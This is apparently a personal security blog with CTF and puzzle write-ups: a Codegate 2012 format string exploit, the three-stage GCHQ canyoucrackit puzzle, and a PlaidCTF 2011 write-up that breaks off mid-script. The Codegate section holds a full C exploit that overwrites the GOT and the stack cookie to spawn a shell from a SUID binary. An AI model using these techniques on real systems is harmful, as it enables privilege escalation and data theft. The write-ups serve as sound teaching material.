My life as a hacker

Latest

Codegate Quals 2012 – Vuln 500

This is my writeup for the Vuln 500 challenge in the Codegate Quals 2012 competition.

The vulnerability is a straight forward format string vulnerability in a SUID Linux/x86 program. Since ASLR & NX was activated, it was not quite as straight forward to exploit though. Since partial RELRO was used as well, DTORS was read-only, but the GOT still writable. The only function call after the vulnerability is triggered is to __stack_chk_fail() though, and this is only called if the stack cookie for main() has been corrupted.

One way to exploit this vulnerability would be to use a ROP based payload, chaining gadgets from within the (non-randomized) .text section of the binary, and/or from glibc by bruteforcing its base address. Since a pointer to the format string was passed as the first argument of printf() right before this, we can return directly into system() which will use the format string pointer as its argument. This makes things a whole lot easier for us. :D

We still have to overcome the ASLR though, and we need to overwrite both the stack cookie on the randomized stack and the GOT-entry for __stack_chk_fail() with the address of system() in glibc which has a randomized base address. Looking at the stack pointer value between different executions about 20 bits of its address seems to be randomized though, and about eight bits of the glibc base address. This means that a bruteforce attack will take quite some time, unless we can figure out a way to exploit it more efficiently.

Fortunately, there are a few shortcuts. First of all, instead of overwriting the stack cookie on the stack, we can overwrite the value it checks the cookie against instead. This is stored at %gs:0×14, which is mapped to an address that is randomized as well, but that always seems to be located at a fixed offset beneath the glibc base address. See example below, the cookie is always stored at the system() address minus 0x39a2c in this particular program. This means we only have to bruteforce the glibc base address, which only has about eight bits randomized.

yesMan@ubuntu:/tmp/.x.$ gdb -q X
Reading symbols from /tmp/.x./X...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048477
(gdb) r
Starting program: /tmp/.x./X 

Breakpoint 1, 0x08048477 in main ()
(gdb) x/i system
   0xb768e100 <system>: sub    $0xc,%esp
(gdb) x/2i system-5
   0xb768e0fb:  mov    $0x0,%edi
   0xb768e100 <system>: sub    $0xc,%esp
(gdb) x/x system-0x39a2c
0xb76546d4:  0x83338200
(gdb) x/8i$pc
=> 0x8048477 <main+3>:  and    $0xfffffff0,%esp
   0x804847a <main+6>:  push   %edi
   0x804847b <main+7>:  push   %ebx
   0x804847c <main+8>:  sub    $0x138,%esp
   0x8048482 <main+14>: mov    0xc(%ebp),%eax
   0x8048485 <main+17>: mov    %eax,0x1c(%esp)
   0x8048489 <main+21>: mov    %gs:0x14,%eax
   0x804848f <main+27>: mov    %eax,0x12c(%esp)
(gdb) b *0x804848f
Breakpoint 2 at 0x804848f
(gdb) c
Continuing.

Breakpoint 2, 0x0804848f in main ()
(gdb) i r eax
eax            0x83338200       2201190912

Using this, we can exploit it in within a couple of hundred attempts, which doesn’t take long. Note that we will use system-5 instead of the direct address of system(), since the latter happens to contain a NUL-byte, and the instruction at system()-5 is “harmless” (it just moves zero to edi, and does not dereference memory or anything else that might cause a crash).

There is, however, an even better way to do it. When “ulimit -s unlimited” / setrlimit(RLIMIT_STACK, {RLIM_INFINITY}) is used to make the stack as large as possible, glibc will always be mapped at the same address. This means we don’t have to do any bruteforcing at all, so our exploit will always work on the first attempt. In this case, the cookie at %gs:0×14 moves to a fixed address mapped after glibc instead of before it though.

yesMan@ubuntu:/tmp/.x.$ cat x.c
#include <stdio.h>

unsigned int get_tcb()
{
        __asm__("movl %gs:0, %eax");
}

int main(void)
{
        unsigned int cookie_addr = get_tcb() + 0x14;
        printf("%08x\n", cookie_addr);
        return 0;
}
yesMan@ubuntu:/tmp/.x.$ gcc -o x x.c
yesMan@ubuntu:/tmp/.x.$ for i in `seq 1 5`; do ./x; done
b763c6d4
b76af6d4
b760f6d4
b75e16d4
b77616d4
yesMan@ubuntu:/tmp/.x.$ ulimit -s unlimited
yesMan@ubuntu:/tmp/.x.$ for i in `seq 1 5`; do ./x; done
4017e6d4
4017e6d4
4017e6d4
4017e6d4
4017e6d4
yesMan@ubuntu:/tmp/.x.$ ldd x
        linux-gate.so.1 =>  (0x4001d000)
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40024000)
        /lib/ld-linux.so.2 (0x40000000)
yesMan@ubuntu:/tmp/.x.$ ldd /home/yesMan/X
        linux-gate.so.1 =>  (0x4001d000)
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40024000)
        /lib/ld-linux.so.2 (0x40000000)
yesMan@ubuntu:/tmp/.x.$ gdb -q x
Reading symbols from /tmp/.x./x...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x80483f2
(gdb) r
Starting program: /tmp/.x./x 

Breakpoint 1, 0x080483f2 in main ()
(gdb) x/i system
   0x4005d100 <system>: sub    $0xc,%esp

Since my test program and the vulnerable programs are both linked to the same libraries, the addresses will be the same.

The last address we need to determine is the address to the GOT-entry for __stack_chk_fail():

yesMan@ubuntu:~$ objdump -R X | grep stack
0804a010 R_386_JUMP_SLOT   __stack_chk_fail

The final version of my exploit is as follows:

yesMan@ubuntu:/tmp/.x.$ cat xpl.c
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define ADDR_SYSTEM 0x4005d100-5
#define ADDR_COOKIE 0x4017e6d4
#define GOT_STACK_CHK_FAIL 0x0804a010
#define CMDLINE "sh"
#define NUM_POPS 11
#define CMD_MAX 64

int main(int argc, char **argv)
{
        unsigned int system_hi, system_lo, num_pops;
        char *cmdline = CMDLINE, buf[256], *cp;
        struct rlimit rlim;
        unsigned int *p;

        if (argc >= 2) {
                if (strlen(cmdline) > CMD_MAX-2) {
                        fprintf(stderr, "Too large command line\n");
                        return 1;
                }
                cmdline = argv[1];
        }

        system_hi = ADDR_SYSTEM >> 16;
        system_lo = ADDR_SYSTEM & 0xffff;
        num_pops = NUM_POPS + CMD_MAX / 4;

        memset(buf, '#', sizeof(buf));
        strncpy(buf, cmdline, strlen(cmdline));
        buf[strlen(cmdline)] = ' ';
        p = (unsigned int *) &buf[CMD_MAX];
        *p++ = GOT_STACK_CHK_FAIL + 2;
        *p++ = GOT_STACK_CHK_FAIL;
        *p++ = ADDR_COOKIE;
        cp = (char *) p;

        snprintf(
                cp, &buf[sizeof(buf)]-cp, "%%%uu%%%u$hn%%%uu%%%u$hn%%%u$n\n",
                system_hi-12-CMD_MAX, num_pops,
                system_lo-system_hi, num_pops+1,
                num_pops+2
        );

        rlim.rlim_cur = RLIM_INFINITY;
        rlim.rlim_max = RLIM_INFINITY;
        if (setrlimit(RLIMIT_STACK, &rlim) == -1) {
                perror("setrlimit");
                return 1;
        }

        execl("/home/yesMan/X", "X", buf, NULL);
        perror("execve");
        return 1;
}
yesMan@ubuntu:/tmp/.x.$ gcc -o xpl xpl.c
yesMan@ubuntu:/tmp/.x.$ ./xpl 'cat /home/yesMan/password'
...
Format_String_Bug_Hunter!@#$

CanYouCrackIt.co.uk / GCHQ Challenge Solution – Stage 3

The final stage of the GCHQ challenge was a small (5kB) x86 Windows/cygwin binary (available here). Analyzing it in IDA Pro, I could see that it expects a 24 byte license file with the following format:

"gchq"            : Static header
Password          : Eight character password, which should match the DES-hash "hqDTK7b8K2rvw" with the salt "hq"
Key from stage 1  : 32-bit value
Keys from stage 2 : Two 32-bit values

The above could be deduced from the following reverse-engineered code:

        if (license_buf[0] == 0x71686367) { /* 67 63 68 71 = "gchq" */
                hash = crypt((char *) &license_buf[1], "hqDTK7b8K2rvw");
                if (! strcmp(hash, "hqDTK7b8K2rvw"))
                        success = 1;
                printf("loading stage1 license key(s)...\n");
                keys[0] = license_buf[3];
                printf("loading stage2 license key(s)...\n");
                keys[1] = license_buf[4];
                keys[2] = license_buf[5];
        }

If a valid license is found, it calls a function that requests the following URL from the specified host (should obviously still be www.canyoucrackit.co.uk):

/hash/32-bit hex key from stage 1/32-bit hex key #1 from stage 2/32-bit hex key #2 from stage 2/key.txt

Note that the hash itself is used, and not the password corresponding to the hash. Misdirection, again, in order to waste some time for those who didn’t bother to actually understand the code.

It’s now clear that we need two 32-bit values that somehow relates to stage 2, and the so called “firmware” array is a rather obvious choice. It consists of two 32-bit values, and it wasn’t used in the stage2 challenge itself. We also need one 32-bit value from stage 1. Remembering that the payload actually starts out with a “useless” jump over four bytes (e.g a 32-bit value) that are never used in any way, this is quite an obvious choice as well.

This gives us the following URL:
http://www.canyoucrackit.co.uk/hqDTK7b8K2rvw/a3bfc2af/d2ab1f05/da13f110/key.txt

Which contains the following key:
Pr0t3ct!on#cyber_security@12*12.2011+

When entering the correct keyword, we get this page:
http://www.canyoucrackit.co.uk/soyoudidit.asp

“So you did it. Well done! Now this is where it gets interesting. Could you use your skills and ingenuity to combat terrorism and cyber threats? As one of our experts, you’ll help protect our nation’s security and the lives of thousands. Every day will bring new challenges, new solutions to find – and new ways to prove that you’re one of the best.”

Interestingly, the salary for the “Cyber Specialist” position at GCHQ is £25,446 for a GC10 (Executive Officer) and £31,152 for a GC9 (Higher Executive Officer). Comparing this with the salaries in the corporate world makes it quite clear why GCHQ has to try so hard to find competent people to recruit. After all, for people with skills there are lots of opportunities for interesting work with a much higher paycheck. For juniors with potential, but no real experience, it might be an interesting opportunity though. I’m sure that the work can be quite stimulating. :)

CanYouCrackIt.co.uk / GCHQ Challenge Solution – Stage 2

After cracking stage 1 of the GCHQ challenge, we get the URL to the Javascript code available here.

It defines a virtual machine with four general registers, two segment registers, one flag register and of course the instruction pointer. It also includes an array of two values named “firmware”, which seems rather strange. These values are not used, nor mentioned in the definition of the virtual machine that is included in a comment further down in the javascript code. The use for these values will actually become apparent in the third and final stage.

Besides specifying the register values and an array with the current memory contents, there is a 54 line comment describing the virtual machine architecture, the instruction encoding and the instruction set:

  exec: function()
  {
    // virtual machine architecture
    // ++++++++++++++++++++++++++++
    //
    // segmented memory model with 16-byte segment size (notation seg:offset)
    //
    // 4 general-purpose registers (r0-r3)
    // 2 segment registers (cs, ds equiv. to r4, r5)
    // 1 flags register (fl)
    //
    // instruction encoding
    // ++++++++++++++++++++
    //
    //           byte 1               byte 2 (optional)
    // bits      [ 7 6 5 4 3 2 1 0 ]  [ 7 6 5 4 3 2 1 0 ]
    // opcode      - - -
    // mod               -
    // operand1            - - - -
    // operand2                         - - - - - - - -
    //
    // operand1 is always a register index
    // operand2 is optional, depending upon the instruction set specified below
    // the value of mod alters the meaning of any operand2
    //   0: operand2 = reg ix
    //   1: operand2 = fixed immediate value or target segment (depending on instruction)
    //
    // instruction set
    // +++++++++++++++
    //
    // Notes:
    //   * r1, r2 => operand 1 is register 1, operand 2 is register 2
    //   * movr r1, r2 => move contents of register r2 into register r1
    //
    // opcode | instruction | operands (mod 0) | operands (mod 1)
    // -------+-------------+------------------+-----------------
    // 0x00   | jmp         | r1               | r2:r1
    // 0x01   | movr        | r1, r2           | rx,   imm
    // 0x02   | movm        | r1, [ds:r2]      | [ds:r1], r2
    // 0x03   | add         | r1, r2           | r1,   imm
    // 0x04   | xor         | r1, r2           | r1,   imm
    // 0x05   | cmp         | r1, r2           | r1,   imm
    // 0x06   | jmpe        | r1               | r2:r1
    // 0x07   | hlt         | N/A              | N/A
    //
    // flags
    // +++++
    //
    // cmp r1, r2 instruction results in:
    //   r1 == r2 => fl = 0
    //   r1 < r2  => fl = 0xff
    //   r1 > r2  => fl = 1
    //
    // jmpe r1
    //   => if (fl == 0) jmp r1
    //      else nop

    throw "VM.exec not yet implemented";
  }

As you can see, it then throws an exception saying that VM.exec is not yet implemented. Our job is to implement this function, based on the information provided in the comment, and executing the embedded code in our virtual machine to see what it reveals. Although I don’t really see how this would provide a demonstration of anything but quite basic skills, I decided to play along and continue with the challenge. I decided to make a C implementation instead though.

First, I decided to only implement a disassembler and reverse-engineer the code by hand instead of actually implementing the virtual machine. After finding out that the initial piece of code actually decrypts the next part of the code, and that the decrypted code decrypts a string, I decided to actually implement the VM instead of just a disassembler.

0000:  movr r1, 0x4       ; r1 = 4 = Start of loop
0002:  movr r3, 0xaa      ; r3 = 170 = Value to XOR with
0004:  movm r0, [ds:r2]   ; Get encrypted byte
0006:  xor  r0, r3        ; Use XOR with r3 to decrypt
0008:  movm [ds:r2], r0   ; Write decrypted byte back to memory
000a:  add  r2, 0x1       ; Increment pointer to next encrypted byte
000c:  add  r3, 0x1       ; Increment value to XOR with
000e:  cmp  r2, 0x50      ; Compare pointer to end of encrypted data
0010:  movr r0, 0x14      ; Point r0 to instruction after decryption loop
0012:  jmpe r0            ; Jump to r0 if decryption is completed (r2 == 0x50)
0013:  jmp  r1            ; Jump to r1 (start of loop = 0004)
0014:  xor  r0, r0        ; Decryption completed. Set r0 = 0
0016:  jmp  0x10:r0       ; Jump to 0x10:0 = 0x0100 = The buffer that was just decrypted

Corresponding C-code:

key = 0xaa;
for (i = 0; i < 0x50; i++)
        buf[i] ^= key++;

The decrypted code is as follows, and quite similar to the previous code:

0100:  movr r2, 0x0       ; r2 = 0
0102:  add  ds, 0xc       ; ds = ds + 0xc = 0x1C
0104:  movr r1, 0x8       ; r1 = 8 = Start of loop
0106:  movr r3, 0x32      ; r3 = 50 = Value to XOR with
0108:  movm r0, [ds:r2]   ; Get encrypted byte
010a:  xor  r0, r3        ; Use XOR with r3 to decrypt
010c:  movm [ds:r2], r0   ; Write decrypted byte back to memory
010e:  add  r2, 0x1       ; Increment pointer to next encrypted byte
0110:  add  r3, 0x3       ; Increment value to XOR with by three
0112:  cmp  r2, 0x0       ; Compare pointer with 0, indicating that it has wrapped (it's only a byte)
0114:  jmpe r3            ; Jump to r3 if it has wrapped. This will never happen...
0115:  cmp  r0, 0x0       ; Compare decrypted byte with 0
0117:  movr r0, 0x1b      ; r0 = 0x1b
0119:  jmpe r0            ; If decrypted byte was 0, jump to 0x011b = Instruction after the loop
011a:  jmp  r1            ; Jump to r1 (start of loop = 0x0108)
011b:  hlt                ; Halt execution

Corresponding C-code (sort of):

key = 0x32;
do {
        buf[i] ^= key;
        key += 3;
} while (buf[i]);

The instructions at 0x0112-0x0114 are not necessary, and could either be there for misdirection or possibly to indicate a hidden challenge. Further signs of this lies in the fact that there are a couple of instructions further down that are never executed:

0132:  add  ds, 0x10
0134:  jmp  r1

There is also a 0xcc at 0x0140, that isn't even a valid a valid instruction in the instruction set for the virtual machine, but corresponds to a breakpoint in x86 assembler. Last but not least there are large chunks of memory that are neither read, written or executed. First of all, there are some zero bytes that are obviously just there for filling. What is more suspicious are these:

0150:  7D 1F 15 60 4D 4D 52 7D 0E 27 6D 10 6D 5A 06 56   }..`MMR}.'m.mZ.V
0160:  47 14 42 0E B6 B2 B2 E6 EB B4 83 8E D7 E5 D4 D9   G.B.............
0170:  C3 F0 80 95 F1 82 82 9A BD 95 A4 8D 9A 2B 30 69   .............+0i
0180:  4A 69 65 55 1C 7B 69 1C 6E 04 74 35 21 26 2F 60   JieU.{i.n.t5!&/`
0190:  03 4E 37 1E 33 54 39 E6 BA B4 A2 AD A4 C5 95 C8   .N7.3T9.........
01a0:  C1 E4 8A EC E7 92 8B E8 81 F0 AD 98 A4 D0 C0 8D   ................
01b0:  AC 22 52 65 7E 27 2B 5A 12 61 0A 01 7A 6B 1D 67   ."Re~'+Z.a..zk.g
...
0200:  37 7A 07 11 1F 1D 68 25 32 77 1E 62 23 5B 47 55   7z....h%2w.b#[GU
0210:  53 30 11 42 F6 F1 B1 E6 C3 CC F8 C5 E4 CC C0 D3   S0.B............
0220:  85 FD 9A E3 E6 81 B5 BB D7 CD 87 A3 D3 6B 36 6F   .............k6o
0230:  6F 66 55 30 16 45 5E 09 74 5C 3F 29 2B 66 3D 0D   ofU0.E^.t\?)+f=.
0240:  02 30 28 35 15 09 15 DD EC B8 E2 FB D8 CB D8 D1   .0(5............
0250:  8B D5 82 D9 9A F1 92 AB E8 A6 D6 D0 8C AA D2 94   ................
0260:  CF 45 46 67 20 7D 44 14 6B 45 6D 54 03 17 60 62   .EFg }D.kEmT..`b
0270:  55 5A 4A 66 61 11 57 68 75 05 62 36 7D 02 10 4B   UZJfa.Whu.b6}..K
0280:  08 22 42 32 BA E2 B9 E2 D6 B9 FF C3 E9 8A 8F C1   ."B2............
0290:  8F E1 B8 A4 96 F1 8F 81 B1 8D 89 CC D4 78 76 61   .............xva
02a0:  72 3E 37 23 56 73 71 79 63 7C 08 11 20 69 7A 14   r>7#Vsqyc|.. iz.
02b0:  68 05 21 1E 32 27 59 B7 CF AB DD D5 CC 97 93 F2   h.!.2'Y.........
02c0:  E7 C0 EB FF E9 A3 BF A1 AB 8B BB 9E 9E 8C A0 C1   ................
02d0:  9B 5A 2F 2F 4E 4E 00 00 00 00 00 00 00 00 00 00   .Z//NN..........

There are some interesting patterns in this data, especially when interpreting it as three 112 bytes chunks. Each chunk consists of 20 bytes < 0x80, 25 bytes >= 0x80, 26 bytes < 0x80, 26 bytes >= 0x80 and finally 15 bytes < 0x80. In other words, there is a pattern in which bytes have the most significant bit set in each of these chunks. This pattern could be the result of each chunk being XOR-encoded using the same algorithm as has been used in the previous code, with some specific start and step values. I decided not to waste any more time on this track unless the challenge seemed to lead to a dead end though.

After the second decryption loop it will reveal the following string at 0x01b0:

GET /da75370fe15c4148bd4ceec861fbdaa5.exe HTTP/1.0

Yet another URL, this time to an x86 Windows/cygwin executable.

To get this string I could just have dumped the virtual machine memory after execution, since I had already reverse-engineered the code I decided to get each character after it has been decoded by reading r0 at ip = 0x010c (0x010c == 268), using the code available here.

Note that I have not bothered to implement any bounds checking when reading values from memory, so running the VM on arbitrary/random code will most likely result in a crash. :) In this case I had already seen that the code was “well behaved” and just wanted to go on to the next stage of the challenge though.

CanYouCrackIt.co.uk / GCHQ Challenge Solution – Stage 1

I heard about “the code” at www.canyoucrackit.co.uk during the first friday of december (2011-12-02), and cracked the final stage on sunday two days later. The reason for not cracking it all during friday evening was, unfortunately, not because it presented much of a challenge but because I was out partying pretty much 24/7 during friday and saturday (including after parties until dawn both nights). :)

I didn’t want to publish any writeup until the challenge was over, even though I heard that there were others who didn’t bother waiting. As a man who loves challenges of all kinds, I would hate to be the one spoiling it for someone who actually wanted to give it a try though.

The first part of the code was this picture:

I recognized it as x86-assembler at the first glance, because of the “eb 04″ (jmp $+6), the multiple “31 cX” (xor reg, reg), the “90″:s in the end (NOPs) and last but not least the “cd 80″ (int 0×80) to mention a few of the immediately recognizable opcodes. The int 0×80 also tells me that this is most likely a Linux-based payload, since 0×80 is the interrupt used for making system calls in Linux. Looking at the code, I could see that it actually just calls exit(0) after the relevant code has been executed.

By looking at the code in a disassembler I could see that it has a decode-loop, that looks very much like the RC4-cipher (initializing a 256 byte buffer with values 0 to 255, swapping values around based on what corresponds to the RC4-key (0xdeadbeef) followed by a decryption loop. Not that it really matters which crypto is being used, since the key is embedded into the code.

Looking closer at the decryption loop we can see that it is actually slightly different from the original RC4 cipher, even though the same key scheduling is used.

Original RC4 can be implemented like this:

i = j = 0;
ptr = buf;
while (len-- > 0) {
        i = (i + 1) & 0xff;
        j = (j + state[i]) & 0xff;
        temp = state[i];
        state[i] = state[j];
        state[j] = temp;
        *ptr++ ^= state[(state[i] + state[j]) & 0xff];
}

This implementation changes j to the xor-byte in each iteration:

i = j = 0;
ptr = buf;
while (len-- > 0) {
        i = (i + 1) & 0xff;
        j = (j + state[i]) & 0xff;
        temp = state[i];
        state[i] = state[j];
        state[j] = temp;
        j = state[(state[i] + state[j]) & 0xff];
        *ptr++ ^= j;
}

This is actually pretty funny, considering that GCHQ themselves have published an (very brief) explanation of the challenge now after it’s over, which describes the crypto as RC4. So from what I can tell, this is an unintentional bug rather than by design. A mistake that is easily made when you’re hand coding assembler, and not being careful of which registers are used for what, but a rather silly mistake nonetheless.

Anyway. Analyzing the code further we can see that the payload seems to be missing some important parts, like the buffer that is to be decrypted for instance. This, on the other hand, is definitely by design. :)

See the “AAAA” (41 41 41 41) at the end of the payload? That’s a tag that is checked by this piece of code:

00000042 58          pop eax             ; Read last four bytes of original payload
00000043 3D41414141  cmp eax,0x41414141  ; Compare it to 0x41414141 ("AAAA")
00000048 7543        jnz 0x8d            ; Jump to exit(0) code if no match

So far so good. If the tag isn’t there, it jumps ahead to the part of the code that calls exit(0):

0000008D 31DB        xor ebx,ebx         ; ebx = System call argument 1 = 0
0000008F 89D8        mov eax,ebx         ; eax = System call number = 0
00000091 FEC0        inc al              ; eax = eax + 1 = 1 = SYS_exit
00000093 CD80        int 0x80            ; Do system call: exit(0)

Then it continues with checking for another tag (“BBBB” = 42 42 42 42), this tag is _not_ included in the payload:

0000004A 58          pop eax             ; Read four bytes more, beyond the original payload
0000004B 3D42424242  cmp eax,0x42424242  ; Compare it to 0x42424242 ("BBBB")
00000050 753B        jnz 0x8d            ; Jump to exit(0) code if no match

Of course, we can just append this tag to the code to bypass it. This doesn’t really help us much though, since the code then continues with reading a byte count to decrypt, followed by the actual encrypted data:

00000052 5A          pop edx             ; Get size of encrypted buffer
00000053 89D1        mov ecx,edx         ; Set ecx = Size of encrypted buffer
00000055 89E6        mov esi,esp         ; Set esi = Start of encrypted buffer
00000057 89DF        mov edi,ebx         ; Set edi = Pointer to the not-quite-RC4 state buffer
00000059 29CF        sub edi,ecx         ; Allocate space before the not-quite-RC4 state buffer
0000005B F3A4        rep movsb           ; Copy the encrypted buffer to the allocated space

After this follows the code that actually performs the decryption, and finally it calls exit(0) just like when the tag on the stack is not found. The exit(0) could be replaced by code that writes the decrypted data to stdout, or we can simply set a breakpoint there (or manually insert a 0xcc = int3 there instead) so we can read the decrypted data in a debugger.

So, where is the missing data? My first thought was that the data is probably either hidden in the HTML code of the www.canyoucrackit.co.uk page, or that it is hidden within the image of the payload. Hiding it within the image of the payload seemed pretty likely, since it actually was a bit odd that they used an image at all instead of plain text that would allow for copy & paste instead of manually writing the payload down from the image.

There are several ways to hide data within an image, some more refined than others. The easiest way to do it is to simply inject the data to the hide into some form of meta data. Using “exiftool” we can extract the following text field (although I first noticed it with a simple “strings”):

je@isis:~$ exiftool cyber.png | grep Comment
Comment : QkJCQjIAAACR2PFtcCA6q2eaC8SR+8dmD/zNzLQC+td3tFQ4qx8O447TDeuZw5P+0SsbEcYR.78jKLw==

This is quite obviously base64-encoded data, judging from the “==” at the end and the range of characters being used. The following command line reveals its decoded contents:

je@isis:~$ exiftool cyber.png \
| grep Comment | awk '{ print $3 }' \
| perl -MMIME::Base64 -e 'print decode_base64(<>)' > cyber.bin
je@isis:~$ xxd -g1 cyber.bin
0000000: 42 42 42 42 32 00 00 00 91 d8 f1 6d 70 20 3a ab BBBB2......mp :.
0000010: 67 9a 0b c4 91 fb c7 66 0f fc cd cc b4 02 fa d7 g......f........
0000020: 77 b4 54 38 ab 1f 0e e3 8e d3 0d eb 99 c3 93 fe w.T8............
0000030: d1 2b 1b 11 c6 11 ef c8 ca 2f .+......./

As you can see, it starts with the “BBBB” that the payload looked for after the end of the payload, followed by an 32-bit LSB integer (32 00 00 00 = 0×00000032 = 50 = The size of the encrypted buffer), and finally the 50 bytes of encrypted data.

In other words, the full payload is as follows:

eb 04 af c2 bf a3 81 ec 00 01 00 00 31 c9 88 0c
0c fe c1 75 f9 31 c0 ba ef be ad de 02 04 0c 00
d0 c1 ca 08 8a 1c 0c 8a 3c 04 88 1c 04 88 3c 0c
fe c1 75 e8 e9 5c 00 00 00 89 e3 81 c3 04 00 00
00 5c 58 3d 41 41 41 41 75 43 58 3d 42 42 42 42
75 3b 5a 89 d1 89 e6 89 df 29 cf f3 a4 89 de 89
d1 89 df 29 cf 31 c0 31 db 31 d2 fe c0 02 1c 06
8a 14 06 8a 34 1e 88 34 06 88 14 1e 00 f2 30 f6
8a 1c 16 8a 17 30 da 88 17 47 49 75 de 31 db 89
d8 fe c0 cd 80 90 90 e8 9d ff ff ff 41 41 41 41
42 42 42 42 32 00 00 00 91 d8 f1 6d 70 20 3a ab
67 9a 0b c4 91 fb c7 66 0f fc cd cc b4 02 fa d7
77 b4 54 38 ab 1f 0e e3 8e d3 0d eb 99 c3 93 fe
d1 2b 1b 11 c6 11 ef c8 ca 2f

By embedding this payload into a small C program (available here), and injecting a breakpoint at the exit(0) call by manually changing the “cd” in “cd 80″ (int 0×80, the system call interrupt) to “cc” (int3) lets me read the decrypted string in a debugger.

je@isis:~$ gcc -o x x.c -m32; execstack -s x
je@isis:~$ gdb -q x
Reading symbols from /home/je/x...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/je/x

Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffd2b6 in ?? ()
(gdb) x/s $edi-50
0xffffd0da: "GET /15b436de1f9107A3778aad525e5d0b20.js HTTP/1.1"

This gives us the URL for the next stage of the challenge (available here).

PlaidCTF 2011 – 25 – PC Rouge – 600 pts

This is my writeup for the twenty-fifth challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“Amalgamated has banned the use of Solitaire due to loss of productivity.
The only employee who would write a new game for everyone only likes ‘retro’ games, and has placed a text-adventure version of pacman on a company server.
We don’t believe he could have coded this securely, and the server contains a vital key.
Connect to the game here and find the key.
nc a9.amalgamated.biz 60123″

There was no binary available for download, so this level was actually completely blind. Connecting to the game we get:

TRUE RETRO PACMAN 8-BIT v2.1
ACCURATE 8-BIT VIRTUALIZATION NOW INCLUDED!
Change log:
1/2/11:  2.1   New years update for increased stability
12/1/10: 2.0.1 Fixed some 8-bit 'overflow' that occured when virtualizing
9/23/10: 2.0   Added actual 8-bit carry and 8-bit behavior for more authenticity
6/15/10: 1.5.1 Added logging of all commands.
6/10/10: 1.5   Now with an actual maze!
2/10/09: 1.0   Release

STATUS:
Item: The able Trophy!
POWERPOINTS:0
Points:0
There is a pill to the north.
There is a pill to the south.
There is a wall to the east.
There is a pill to the west.
There is a pill here!
?> 

Typing “help” gave a list of valid commands:

?> help

VALID COMMANDS::
	help/HELP	 Show this help
	quit/q		 Quit
	take		 Take a pill/powerpill
	n		 Go north
	s		 Go south
	e		 Go east
	w		 Go west.
	t		 Wait.

Walking around in the maze eating pills we notice a few things. First I noticed that after eating 16 pills, each increasing my number of points with 8, my number of points suddenly becomes -128. This indicates that a signed 8-bit integer is used to store the number of points.

STATUS:
Item: The mountain Trophy!
POWERPOINTS:50
Points:120
There is a pill to the north.
There is a wall to the south.
There is nothing to the east.
There is a wall to the west.
There is a pill here!
?> take
Your pick up a pill! Yum!!

STATUS:
Item: The mountain Trophy!
POWERPOINTS:50
Points:-128

We also notice that the number of power points seem to determine which item that is listed in our status. Each time we eat a powerpill the number of points increase with 40, and each time we make a move the number of power points (if any) decreases with one. The somehow odd “t” command which is described as “wait” decreases the number of power points with one as well, and surely this must be for a reason.

Moving on through the game eating pills and powerpills as we encounter them, we will sooner or later run into this situation:

STATUS:
Item: The battle Trophy!
POWERPOINTS:94
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is a POWERPILL here!
?> take
[ERROR] Over 128 powerpoints!

We cannot eat another powerpill since this would put us over the maximum of 128. However, if a signed 8-bit integer is used for the number of powerpoints as well the real maximum should be 127. Let’s use the “t” command a few times until our number of powerpoints is 88, and let’s see what happens when we eat the powerpill:

STATUS:
Item: The answer Trophy!
POWERPOINTS:88
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is a POWERPILL here!
?> take
Your pick up a POWERPILL! Delicious!!

STATUS:
Item: n
POWERPOINTS:-128
Points:-32

Notice anything strange? Well, besides now having a negative number of powerpoints (which we sort of expected) we can also see that our item-string is now “n” instead of “The some-name Trophy!”. Since the number of powerpoints seemed to determine the item that is listed, it seems likely that the number of powerpoints is used as an index into an array of items/trophies and that when a negative index is being used (-128) it will point into some other string that in this case happened to be “n”.

So where does this “n” come from? Well, since “n” is one of the commands for this game it could certainly be a command string that I’ve entered earlier. It’s not the last command I’ve entered though, so if “n” is indeed a command it is probably stored in a command history buffer. Looking back through the scrollback we also notice:

STATUS:
Item: The language Trophy!
POWERPOINTS:41
Points:-80
There is a pill to the north.
There is nothing to the south.
There is a wall to the east.
There is a wall to the west.
There is a pill here!
?> take
Your pick up a pill! Yum!!
Command limit reached. Reseting command buffer.

STATUS:
Item: The language Trophy!
POWERPOINTS:41
Points:-72
There is a pill to the north.
There is nothing to the south.
There is a wall to the east.
There is a wall to the west.
There is nothing here.
?> n
You move north.

See the “Command limit reached.” message? We got that on our 127:th command, which probably means that a history of 127 commands are being stored in an array. If this array is stored right before the item string array, the “n” listed as our item after getting a negative number of powerpoints may be taken from this command history array. So, let’s see what happens if we use “t” or some other command until the command limit is reached again:

...
STATUS:
Item: n
POWERPOINTS:-128
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is nothing here.
?> t
You wait for a bit...
Command limit reached. Reseting command buffer.

STATUS:
Item: n
POWERPOINTS:-128
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is nothing here.
?> foobar.%x.%x.%x

STATUS:
Item: foobar.ffc60854.ffc60d58.ffc60854
POWERPOINTS:-128
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is nothing here.
?> t
You wait for a bit...

As you can see I’ve jumped ahead a bit to show you how this bug is turned into an exploitable vulnerability. The very first command entered after the command limit has been reached is used as the item-string, and is actually being passed directly as the format string argument to presumably printf(). This allows to read memory, like we do above, or even write to arbitrary addresses using the %n format string specifier.

After the number of power points have been wrapped into -128, it stays there, so now we can just wrap around the command history buffer each time we want to use a different format string. I developed the following script for being able to play around, enter different format strings and examine their output:

#!/usr/bin/perl -w

use strict;

use IO::Socket::INET;
use FileHandle;
use POSIX;

###########################################################################

# Exit with an error message if more than two arguments are given
die "Usage: $0 [ADDR] [PORT]\n"
  if @ARGV > 2;

# Get address and port from the command line, or use default values
my $addr = shift || '128.237.157.79';
my $port = shift || 60123;

###########################################################################

my $pwn_str =
 "n\n"x10 . "take\n" . "s\n"x15 . "take\n" . "n\n"x2 . "w\n"x3 . "s\n" .
